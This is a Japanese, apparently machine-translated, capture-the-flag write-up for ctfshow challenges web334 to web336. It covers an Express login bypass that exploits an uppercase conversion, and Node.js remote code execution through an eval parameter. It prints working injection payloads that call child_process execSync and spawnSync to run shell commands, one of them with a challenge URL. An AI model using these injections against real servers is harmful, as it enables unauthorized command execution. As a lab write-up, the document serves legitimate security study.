web334
タイトルを開いてソースコードをダウンロードします
longin.jsを開きます
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({
ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({
ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{
username: 'CTFSHOW', password: '123456'}
]
};
ここでは、アカウントのパスワードを直接入手できますが、ログインに使用したところ、正しいパスワードではないことがわかりました。次に、ソースコードを分析しました。ここでは、パスワードは主にこの文であると判断します。
name!== 'CTFSHOW' && item.username === name.toUpperCase()&& item.password === password;
これがその名前の由来です。
var user = findUser(req.body.username、req.body.password)
ここではユーザー入力であることがわかります。したがって、ここでの意味は、入力パスワードをCTFSHOWにすることはできず、入力ユーザーを大文字に変換してCTFSHOWと等しくする必要があるため、ここでは直接小文字にすることができます。
web335
ウェブサイトを開いてソースコードを表示し、ヒントを
見つけました。rceリモートコードが実行されている可能性があることがわかりました。ここで、この記事を見ることができますchild_process(子プロセス)
方法1
ペイロード= require( 'child_process')。execSync( 'ls')
ファイルをクエリして、
それをcatします。
方法2
ペイロード= http://d34c519b-4379-4f59-98b5-b3abca84b886.challenge.ctf.show:8080 /?eval = require( 'child_process')。spawnSync( 'ls'、['/'])。stdout.toString ()
ここで、stdout.toStringを追加する必要があることに注意してください。そうしないと、次のようになります。
web336
これは前の質問と同じですが、いくつかのことがフィルタリングされる可能性があります。
ここでは、2つの方法を試してみます。
ペイロード= require( 'child_process')。spawnSync( 'ls'、['/'])。stdout.toString()